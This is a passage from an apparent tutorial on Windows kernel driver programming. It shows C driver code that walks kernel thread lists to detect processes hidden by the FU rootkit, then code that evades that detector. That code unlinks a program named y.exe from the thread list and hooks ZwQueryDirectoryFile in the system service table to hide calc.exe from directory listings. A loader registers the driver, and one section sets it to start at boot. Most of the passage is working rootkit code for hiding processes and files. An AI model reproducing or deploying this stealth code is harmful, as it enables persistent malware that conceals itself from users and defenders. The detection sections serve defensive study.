DbgPrint("%d %s Flink=%x ",pethread->Cid.UniqueProcess,(char *)pethread->ThreadsProcess+508,pethread->Tcb.WaitListEntry.Flink);

cur = cur->Flink;

} while(cur != start);

return(STATUS_SUCCESS);

}

 

gKiWaitInListHead=80482258 cur=81e8c27c 81e8c27c

440 svchost.exe cur=81e8c27c

440 svchost.exe Flink=81ebe25c

176 winlogon.exe cur=81ebe25c

176 winlogon.exe Flink=81bb607c

952 Dfssvc.exe cur=81bb607c

952 Dfssvc.exe Flink=816fbd5c

 

The above program really does not clarify a lot of issues in our mind. Thus lets explain the same output in a slightly different way. The gKiWaitInListHead pointer that we obtain is not a pointer to a undocumented structure ETHREAD. There is a member WaitListEntry or 0x5c or 92 bytes from the start of the structure that this variable points to.

 

The member WaitListEntry is a familiar LIST_ENTRY structure that builds a circular linked list of threads that are waiting. The values of cur and *start are the same as we assume that gKiWaitInListHead is a pointer to a LIST_ENTRY structure and the first member is Flink. In the do loop, the variable curr is pointing 92 bytes from the start and if we subtract this value, we will come to the start of the ETHREAD structure.

 

We can display the pid and name of the program owning this thread. To calculate val we first added 388 to the value of cur. The reason we did that was that cur is 92 bytes form the start and Cid is 480 bytes from the start. Thus from cur Cid is 480-92 388 bytes. In the same vein the EPROCESS structure is 556 bytes from the start and therefore 556-92 464 from cur. Thus it I simpler to understand if we use a actual structure to access the members.

 

P56

r.c

#include <ntddk.h>

#include <stdio.h>

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

long gKiWaitOutListHead,i,val;

unsigned char *ptr,*namePtr;

LIST_ENTRY *cur, *start;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

ptr = (unsigned char *) KeWaitForSingleObject;

for( i = 0; i < 4096; i++ )

{

if(*ptr == 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24) == 0xb9)

{

gKiWaitOutListHead = *(long *)(ptr + 25);

break;

}

ptr++;

}

DbgPrint("%x",gKiWaitOutListHead);

start = (LIST_ENTRY *)gKiWaitOutListHead;

cur = start->Flink;     

do

{

val = *((long *)((long)cur + 388));

namePtr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

DbgPrint("%d %s",val,namePtr);

cur = cur->Flink;

} while(cur != start);

return(STATUS_SUCCESS);

}

 

80482808

8 System

8 System

8 System

 

This program once again displays a list of process but now uses another method. 24 bytes from the start of the pattern in the function code KeWaitForSingleObject lies another pointer to LIST_ENTRY linked list of ETHREAD structures. We call this the KiWaitOutListHead list. We do the same thing that we did earlier, scan the link list and print out the pid at an offset 388 and the EPROCESS structure 464 bytes away. A little later we will talk about what these two different lists signify.

 

P57

r.c

#include <ntddk.h>

#include <stdio.h>

struct zzz

{

long pid;

char name[17];

};

struct zzz procs[1000];

struct zzz procs1[1000];

int nprocs,nprocs1;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

void insert (long pid, char *nameptr)

{

int i;

for (i = 0; i < nprocs; i++)

if (procs[i].pid == (long)pid)

return;

procs [nprocs].pid = pid;

strcpy (procs[nprocs].name, nameptr);

nprocs++;

}

void insert1(long pid, char *nameptr)

{

int i;

for (i = 0; i < nprocs1; i++)

if (procs1[i].pid == (long)pid)

return;

procs1[nprocs1].pid = pid;

strcpy (procs1[nprocs1].name, nameptr);

nprocs1++;

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

PEPROCESS p1;

long gKiWaitOutListHead,i,pid,gKiWaitInListHead;

unsigned char *ptr,*nameptr;

int found,j;

LIST_ENTRY *cur, *start;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

ptr = (unsigned char *)KeWaitForSingleObject;

for( i = 0; i < 4096; i++ )

{

if(*ptr == 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24) == 0xb9)

{

gKiWaitInListHead = *(long *)(ptr + 1);

gKiWaitOutListHead = *(long *)(ptr + 25);

break;

}

ptr++;

}

start = (LIST_ENTRY *)gKiWaitOutListHead;

cur = start->Flink;     

do

{

pid = *((long *)((long)cur + 388));

nameptr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

insert(pid,nameptr);

cur = cur->Flink;

} while(cur != start);

start = (LIST_ENTRY *)gKiWaitInListHead;

cur = start->Flink;     

do

{

pid = *((long *)((long)cur + 388));

nameptr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

insert(pid,nameptr);

cur = cur->Flink;

} while(cur != start);

//for ( i = 0; i < nprocs ; i++)

//DbgPrint("%s %d",procs[i].name,procs[i].pid);

p1 = (PEPROCESS)PsGetCurrentProcess();

cur = start = (LIST_ENTRY *)((long)p1 + 160);

do

{

int pid = *(long *)((long)cur -4);

//DbgPrint("%s %d",(long)cur + 348,pid);

insert1(pid,(char *)((long)cur + 348));

cur = cur->Flink;

} while(cur != start);

DbgPrint("nprocs=%d nprocs1=%d",nprocs,nprocs1);

for( i = 0 ; i < nprocs ; i++)

{

found = 0;

for ( j = 0 ; j < nprocs1 ; j++)

{

if ( procs[i].pid == procs1[j].pid)

{

found = 1;

break;

}

}

if ( found == 0 && procs[i].pid != 0)

DbgPrint("%s %d has been hidden",procs[i].name,procs[i].pid);

}

return(STATUS_SUCCESS);

}

 

This program is our first stab at writing a program that tells us whether someone has hidden a process using Direct kernel Object Manipulation which we first read about in the FU toolkit. This program displays all processes that have been hidden by using say the FU rootkit.

 

Most of the program has been done before by us. We first start off in a for loop finding the addresses of the two linked list of threads like before. We then scan through each of the linked lists like we did before. We find out the pid stored in the variable val and the name of the process stored in nameptr. Then we do something different. Instead of displaying the values, we call a function insert.

 

This function adds the process id and name of the program to a global array of zzz structures if the pid is not already present in the array. This array called procs should at the end of the do loop contain one instance only of the pid and program name. The problem with the thread linked are that if a program creates 10 threads, it will be seen in the link list 10 times.

 

We want to eliminate multiple instances of the pid’s and have only one instance. The function insert is called with the pid and program name.

 

In this function we use a global variable nprocs to keep tab of how many array members contain pids. To start with its value is zero and each time we add a new member to the array nprocs, we increase nprocs by 1. We have created a global array nprocs to have upto a 1000 members. It would be better to dynamically grow the array each time. We used the code the Klister rootkit used and thus believe if he could do it why not us.

 

Each time we scan the array upto nprocs checking if the pid is already there. This structure zzz that each array member conforms to contains a pid member and a array 17 bytes large to store the program name. If we meet a match in the for loop we simply return and do nothing else. If no match we have a unique pid and we use the nprocs variable as an offset into the array and set the pid member to the pid parameter.

 

We also strcpy the name into the 17 byte array. Finally we increase the nprocs variable by 1. At the end of the do loop we have nprocs tells us how many unique process are running on our machine but now it add the caveat that these processes are associated with a thread. We then use the second thread linked list and place all unique processes into the nprocs array. 

 

We then use a program that we wrote earlier, which scans all the EPROCESS structures whose address we get from the PsGetCurrentProcess function. It is here where we find a list of all current processes which are used for displaying in program like task manager. We scan this list and place all the unique process id’s in a array procs1 using the insert1 function.

 

We had to use the same logic as before as even in this list we can have the same function name twice. We display the variables nprocs and nprocs1 that give us a list of processes in both arrays. Now if someone has hidden a process from the list of processes which is what FU does, its name will not be there in this list but as it has created a thread, it will exists in the thread linked list.

 

So all that we now do is scan the first array of structures procs and pick up each pid present. We know that nprocs gives us the total number of unique pids. We then use another for loop to scan the entire second array using nprocs1 as the for terminating value. If we do not find the pid in the procs1 array we know that it has been hidden.

Thus every process that has a thread must be present in the second or procs1 array. The reverse does not make sense as if the process has been hidden in procs1, we will not know that it has been removed. This is why we check the procs array against the procs1  array and not vice versa. Thus use fu as fu –ph 234 which will hide process 234. When you run our driver, it will come back and tell us that process 234 has been hidden.

 

P58

r.c

#include <ntddk.h>

#include <stdio.h>

struct zzz

{

long pid;

char name[17];

};

PEPROCESS p1;

struct zzz procs[1000];

struct zzz procs1[1000];

PKTIMER         gTimer;

PKDPC gDPCP;

LARGE_INTEGER timeout;

long gKiWaitOutListHead,i,pid,gKiWaitInListHead;

void insert (long pid, char *nameptr,long *pnprocs)

{

int i;

for (i = 0; i < *pnprocs; i++)

if (procs[i].pid == (long)pid)

return;

procs [*pnprocs].pid = pid;

strcpy (procs[*pnprocs].name, nameptr);

*pnprocs = *pnprocs + 1;

}

void insert1(long pid, char *nameptr,long *pnprocs1)

{

int i;

for (i = 0; i < *pnprocs1; i++)

if (procs1[i].pid == (long)pid)

return;

procs1[*pnprocs1].pid = pid;

strcpy (procs1[*pnprocs1].name, nameptr);

*pnprocs1 = *pnprocs1 + 1;

}

VOID abc(PKDPC Dpc,PVOID DeferredContext,PVOID sys1,PVOID sys2)

{

unsigned char *nameptr;

int nprocs=0,nprocs1=0;

 

int found,j;

LIST_ENTRY *cur, *start;

DbgPrint("Timer");

for ( i = 0 ; i <= 500 ; i++)

{

procs1[i].pid = procs[i].pid = 0;

procs1[i].name[0] = procs[i].name[0] = 0;

}

start = (LIST_ENTRY *)gKiWaitOutListHead;

cur = start->Flink;     

do

{

pid = *((long *)((long)cur + 388));

nameptr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

insert(pid,nameptr,&nprocs);

cur = cur->Flink;

} while(cur != start);

start = (LIST_ENTRY *)gKiWaitInListHead;

cur = start->Flink;     

do

{

pid = *((long *)((long)cur + 388));

nameptr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

insert(pid,nameptr,&nprocs);

cur = cur->Flink;

} while(cur != start);

cur = start = (LIST_ENTRY *)((long)p1 + 160);

do

{

pid = *(long *)((long)cur -4);

insert1(pid,(char *)((long)cur + 348),&nprocs1);

cur = cur->Flink;

} while(cur != start);

DbgPrint("nprocs=%d nprocs1=%d",nprocs,nprocs1);

for( i = 0 ; i < nprocs ; i++)

{

found = 0;

for ( j = 0 ; j < nprocs1 ; j++)

{

if ( procs[i].pid == procs1[j].pid)

{

found = 1;

break;

}

}

if ( found == 0 && procs[i].pid != 0)

DbgPrint("%s %d has been hidden",procs[i].name,procs[i].pid);

}

}

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

KeCancelTimer( gTimer );

ExFreePool( gTimer );

ExFreePool( gDPCP );

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

unsigned char *ptr;

int i;

p1 = (PEPROCESS)PsGetCurrentProcess();

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

ptr = (unsigned char *)KeWaitForSingleObject;

for( i = 0; i < 4096; i++ )

{

if(*ptr == 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24) == 0xb9)

{

gKiWaitInListHead = *(long *)(ptr + 1);

gKiWaitOutListHead = *(long *)(ptr + 25);

break;

}

ptr++;

}

gTimer = ExAllocatePool (NonPagedPool,sizeof(KTIMER));

gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

KeInitializeTimer (gTimer);

KeInitializeDpc (gDPCP,abc,0);

KeSetTimerEx (gTimer,timeout,10000,gDPCP);

return(STATUS_SUCCESS);

}

 

nprocs=34 nprocs1=32

smss.exe 156 has been hidden

winlogon.exe 176 has been hidden

cmd.exe 344 has been hidden

 

This program combines the best of both worlds. It adds the timer code so that the abc function gets called every ten seconds. In this function we place the code for filling the arrays etc. The only difference is that earlier we made nprocs and nprocs1 global.

 

Thus the first time the abc function gets called they get set to a value, the second time being global they retain the values and the arrays procs and procs1 also retain their values. Thus each time abc gets called we want to populate the two arrays from scratch. Thus we initialize the pid and name members to zero and pass the addresses of nprocs and nprocs1 to the insert functions.

 

Thus in timer code it is always advisable to not use global variables. The code works as advertised. We use fu to hide a process and within 10 seconds we get the above output. The only problem was that when we merged the code of the timer into the earlier program, we kept getting the blue screen of death. It took us 4 hours of rebooting to figure out where we are going wrong.

 

Whenever the timer gets called and we are doing nothing, the cur points to a EPROCESS structure of the program called Idle with a pid of 0. The only problem with this Idle chap is that both Flink and Blink are zero. Thus whenever the timer got called the second time, Idle was active and we got a BSoD.

 

Thus we set the p1 variable in DriverEntry which points to System. As the list of process is circular it does not matter where we start. We cover all of them. Nobody told us that Idle has a Flink and Blink of 0. If they did we would not have wasted 4 hours. Tough life for Device Driver programmers.

 

P59

y.c

val = 1;

RegSetValueEx(hkey, "Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));

 

The problem with our code so far was that we would load it each time. There is a simply way to get windows load our driver each time. We simply set the start key to value of 1. This tells windows to load the driver at boot up. If you want to use the CreateService function instead change the 6th parameter SERVICE_DEMAND_START to SERVICE_SYSTEM_START. This option sets the registry value to 1 as we do.

 

Now each time someone hides our program, we get called.

 

P60

r.c

#include <ntddk.h>

#include <stdio.h>

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

long gKiWaitOutListHead,i,val;

unsigned char *ptr,*namePtr;

LIST_ENTRY *cur, *start;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

ptr = (unsigned char *) KeWaitForSingleObject;

for( i = 0; i < 4096; i++ )

{

if(*ptr == 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24) == 0xb9)

{

gKiWaitOutListHead = *(long *)(ptr + 25);

break;

}

ptr++;

}

DbgPrint("%x",gKiWaitOutListHead);

start = (LIST_ENTRY *)gKiWaitOutListHead;

cur = start->Flink;     

do

{

val = *((long *)((long)cur + 388));

namePtr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

DbgPrint("%d %s cur=%x Flink=%x Blink=%x",val,namePtr);

if ( strcmp("y.exe",namePtr) == 0)

{

LIST_ENTRY *Flink,*Blink;

Flink = cur->Flink;

Blink = cur->Blink;

Blink->Flink = Flink;

}

cur = cur->Flink;

} while(cur != start);

DbgPrint("Check");

start = (LIST_ENTRY *)gKiWaitOutListHead;

cur = start->Flink;     

do

{

val = *((long *)((long)cur + 388));

namePtr = (unsigned char *)(*((long *)((long)cur + 464))) + 508;

DbgPrint("%s",namePtr);

cur = cur->Flink;

} while(cur != start);

return(STATUS_SUCCESS);

}

 

8 System cur=8202d07c Flink=81be97fc Blink=8202adfc

988 y.exe cur=81be97fc Flink=8202d8fc Blink=8202d07c

8 System cur=8202d8fc Flink=80482808 Blink=81be97fc

 

The thread list as mentioned above are nothing but a circular double linked list with the Flink pointing to the next LIST_ENTRY and Blink to the previous. We check for a program called y.exe and when we find it, we simply take Blink to point to the previous thread structure.

 

We set the Flink of this to point to Flink which is the address of the next thread structure. This is how we remove ourselves from the thread linked list. We redisplay all the threads again and we do not see the process y.exe. Thus If we remove ourselves from both  the process and thread list, our program does not catch us. For every method we finding of catching the bad guy, there is another way of hiding ourselves.

 

We thought that if we hid ourselves from the thread lists,  even windows would not give us any time but it seems that these list are not used by the OS to decide the scheduling of threads.

 

P61

r.c

#include <ntddk.h>

#include <stdio.h>

#include <string.h>

typedef struct

{

ULONG NextEntryOffset;

ULONG FileIndex;

LARGE_INTEGER CreationTime;

LARGE_INTEGER LastAccessTime;

LARGE_INTEGER LastWriteTime;

LARGE_INTEGER ChangeTime;

LARGE_INTEGER EndOfFile;

LARGE_INTEGER AllocationSize;

ULONG FileAttributes;

ULONG FileNameLength;

ULONG EaSize;

CCHAR ShortNameLength;

WCHAR ShortName[12];

WCHAR FileName[1];

}FILE_BOTH_DIR_INFORMATION;

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

unsigned short uFileName[128];

__declspec(dllimport) sdt KeServiceDescriptorTable;

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

typedef NTSTATUS (*qtype)(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,   PVOID IoApcContext,     PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

qtype OldZwQueryDirectoryFile;

NTSTATUS NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery)

{

NTSTATUS rc;

rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

DbgPrint("FileInfoClass=%d rc=%d\n", FileInfoClass ,rc);

if( rc == 0 && FileInfoClass == 3)

{

FILE_BOTH_DIR_INFORMATION *p;

int last = 0;

p = prev = (FILE_BOTH_DIR_INFORMATION *) FileInformationBuffer;

while(!last)

{

if ( p->NextEntryOffset == 0)

last = 1;

wcsncpy (uFileName,p->FileName,p->FileNameLength/2);

uFileName[p->FileNameLength/2] = 0;

DbgPrint("%S Length=%d Delta=%d",uFileName,p->FileNameLength,p-> NextEntryOffset);

p = (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);

}

}

return(rc);

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQueryDirectoryFile;

_asm sti

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);

p = (char *) ZwQueryDirectoryFile;

p = p + 1;

no = *(long *)p;

OldZwQueryDirectoryFile= (qtype)KeServiceDescriptorTable. ServiceTableBase [no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQueryDirectoryFile;

_asm sti

return(STATUS_SUCCESS);

}

 

FileInfoClass =3 rc=0

r.c Length=6 Delta=104

r10 Length=6 Delta=104

a.obj Length=10 Delta=0

FileInfoClass=3 rc=0

 

Lots of good folk on the internet whispered into our ear that each time we do a dir, the list of files supplied to the dir command come from the undocumented function ZwQueryDirectoryFile. Any function beginning with Zw is undocumented. So far we have been able to hide a running program from windows.

 

Not good enough because if we are able to hide say calc from task manager all that someone may day is dir /s for calc.exe and find it on the hard disk. Thus lets us now hide a file from dir. Thus we will be able to hide both file and program from windows spying eyes. In the above program we hook the ZwQueryDirectoryFile function and like always the function NewZwQueryDirectoryFile gets called.

 

As before we call the original and then do our thing. This function gets called with a zillion parameters but we are interested in only two. The FileInfoClass parameter can take lots of values depending upon type of directory listing asked for. The value 3 is the one we are interested in because directory listing use this value. Like the function ZwQuerySystemInformation the return value is important as we normally call these functions asking for length of buffer.

 

Thus we do our bit only when we get a return value of 0 and the FileInfoClass value of 3. The second parameter of use is the FileInformationBuffer parameter. When the FileInfoClass parameter is 3, this is a pointer to a FILE_BOTH_DIR_INFORMATION structure. This structure is our creation and the first member is a offset to a similar structure. This is because the FileInformationBuffer is made of a series of FILE_BOTH_DIR_INFORMATION structures.

 

Unlike a link list where a member points to the next member of the link list, here we have a offset to the next member. The other problem is that when the member NextEntryOffset is 0, it is not the end of the link list but the last member. Thus we cannot loop till NextEntryOffset is 0, because then we will miss the last file name.

 

Thus the FileInformationBuffer is a series of structures, one per file in the listing. We set a variable last to 0 and loop until some one makes last 1. The minute the member NextEntryOffset is 0, we set last to 1 so that at the next iteration not the current we quit out.

 

The FileName member is a unicode string to the actual file name. This is why the structure used does not have a fixed size. There is no 0 at the end of this string and therefore  we use the unicode strcpy wcsncpy to copy the unicode string pointed by the FileName member. The FileNameLength tells us the total length as actual bytes not unicode bytes.

 

Thus file name r.c has a length of 6 and not 3. The unicode functions assume that we are dealing with unicode characters and thus we have to divide the length by 2. We copy this file name into a global array uFileName. As there is no null terminator, we have to add a zero at the end./ Once again we divide by 2 as the array is insigne short.

 

When we were writing our code, we would null terminate the FileName variable which overwrote the NextEntryOffset member. This is because these structures are stored back to back but we do not know the length of the file name and  hence these structures. We print out FileName and the length and the NextEntryOffset which either is an offset to the next structure or 0 if it is last one.

 

P63

r.c

NTSTATUS NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery)

{

NTSTATUS rc;

rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

DbgPrint("FileInfoClass=%d rc=%d\n",FileInfoClass,rc);

if( rc == 0 && FileInfoClass == 3)

{

FILE_BOTH_DIR_INFORMATION *p,*prev;

int last = 0;

p = prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;

while(!last)

{

if ( p->NextEntryOffset == 0)

last = 1;

wcsncpy(uFileName,p->FileName,p->FileNameLength/2);

uFileName[p->FileNameLength/2] = 0;

if ( wcsncmp(p->FileName,L"calc.exe",8)  == 0)

{

DbgPrint("Match Found prev=%d p=%d last=%d",prev->NextEntryOffset,p->NextEntryOffset,last);

if ( p->NextEntryOffset == 0)

prev->NextEntryOffset = 0;

else

prev->NextEntryOffset = prev->NextEntryOffset + p->NextEntryOffset;

}

prev = p;

p = (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);

}

}

return(rc);

}

 

 

Before running the above program we would like to you copy calc.exe fromC:\winnt\system32. This is the file we are going to hide. We use the unicode equivalent of strncmp wcsncmp to compare two unicode strings. One is p->FileName, the current file name and the other is a hard coded unicode string L”calc.exe”.

 

Once again we check for a certain number of bytes, using the ascii length 8 and not the unicode length 16. If this function returns a zero, we know that we have found a match. We have to check for three cases. The first is that if NextEntryOffset is zero, the match is found on the last one. This happens when we have more than one file as our output and this is the last file in the list.

 

We have also added one more variable prev which points to the previous structure, one that we have just visited. Thus p points to the current structure, prev to the last and we set prev to the last just when we are changing p. The problem with the last entry is that there is no one in front of it. The NextEntryOffset is an offset to the next structure. Thus the prev-> NextEntryOffset offsets to p.

 

All that we do is set it to 0, making the second last one the last. If it is in the middle than we have to simply take the NextEntryOffset of the previous one and set it to the next one and not the current one. All that we do is simply add the offset of the current one so that it points to the next one, bypassing us totally.

 

Thus we have accounted for two cases, when the file we are trying to hide is in the middle and the last one. But what if it is the first. Then we have a problem. There are two cases, one when it is the only one in the list and the second when there are many but this is the only one. We cannot use prev here is there is no prev.

 

We cannot change the buffer as we are not passed the address of the buffer. Lets carry on and resolve this issue a little later.

 

P63

y.c

#include <stdio.h>

#include <windows.h>

#include <malloc.h>

#include <tlhelp32.h>

#include <stdio.h>

#define DRV_NAME "vijayd"

#define DRV_FILENAME "vijay.sys"

#define DIRECTORY "C:\\driverm"

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

char * Buffer;

} ANSI_STRING, *PANSI_STRING;

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

  unsigned short *Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

long (_stdcall * _RtlAnsiStringToUnicodeString)(PUNICODE_STRING  DestinationString,PANSI_STRING  SourceString,unsigned char);

VOID (_stdcall *_RtlInitAnsiString)(PANSI_STRING  DestinationString,char *  SourceString);

long (_stdcall * _ZwLoadDriver)(PUNICODE_STRING DriverServiceName);

long (_stdcall * _ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);

ANSI_STRING aStr;

UNICODE_STRING uStr;

HMODULE hntdll;

unsigned long byteRet;

HANDLE hDevice;

HKEY hkey;

DWORD val,b;

char *imgName = "System32\\DRIVERS\\"DRV_FILENAME;

void main(int argc, char* argv[])

{

hntdll = GetModuleHandle("ntdll.dll");

_ZwLoadDriver = GetProcAddress(hntdll, "NtLoadDriver");

_ZwUnloadDriver = GetProcAddress(hntdll, "NtUnloadDriver");

_RtlAnsiStringToUnicodeString = GetProcAddress(hntdll, "RtlAnsiStringToUnicodeString");

_RtlInitAnsiString = GetProcAddress(hntdll, "RtlInitAnsiString");

if ( strcmp(argv[1],"-i") == 0)

{

if ( argc != 3)

return;

CopyFile(DIRECTORY"\\"DRV_FILENAME,"C:\\winnt\\system32\\drivers\\"DRV_FILENAME,1);

RegCreateKey(HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\"DRV_NAME,&hkey);

val = 1;

RegSetValueEx(hkey, "Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey, "ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

val = 3;

RegSetValueEx(hkey, "Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

val = _ZwLoadDriver(&uStr);

hDevice = CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

printf("Val=%d hDevice=%x",val,hDevice);

DeviceIoControl(hDevice, 2 << 3 , argv[2], strlen(argv[2]), 0, 0, &b, 0);

}

if ( strcmp(argv[1],"-u") == 0)

{

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

_ZwUnloadDriver(&uStr);

DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME);

}

}

 

In the above loader program we do not make many changes and we simply pass the filename as the third argument. We add a error check to make sure that with the –I option the user passes a third argument. We also print out the return values of the ZwLoadDriver and  the CreateFile function to make sure that there are no errors.

 

P64

r.c

#include <ntddk.h>

#include <stdio.h>

#include <string.h>

int inputBufferLength;

UNICODE_STRING gDeviceName,gSymbolicLinkName,uStr;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

char filename[100];

typedef struct

{

ULONG NextEntryOffset;

ULONG FileIndex;

LARGE_INTEGER CreationTime;

LARGE_INTEGER LastAccessTime;

LARGE_INTEGER LastWriteTime;

LARGE_INTEGER ChangeTime;

LARGE_INTEGER EndOfFile;

LARGE_INTEGER AllocationSize;

ULONG FileAttributes;

ULONG FileNameLength;

ULONG EaSize;

CCHAR ShortNameLength;

WCHAR ShortName[12];

WCHAR FileName[1];

}FILE_BOTH_DIR_INFORMATION;

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

unsigned short uFileName[128];

__declspec(dllimport) sdt KeServiceDescriptorTable;

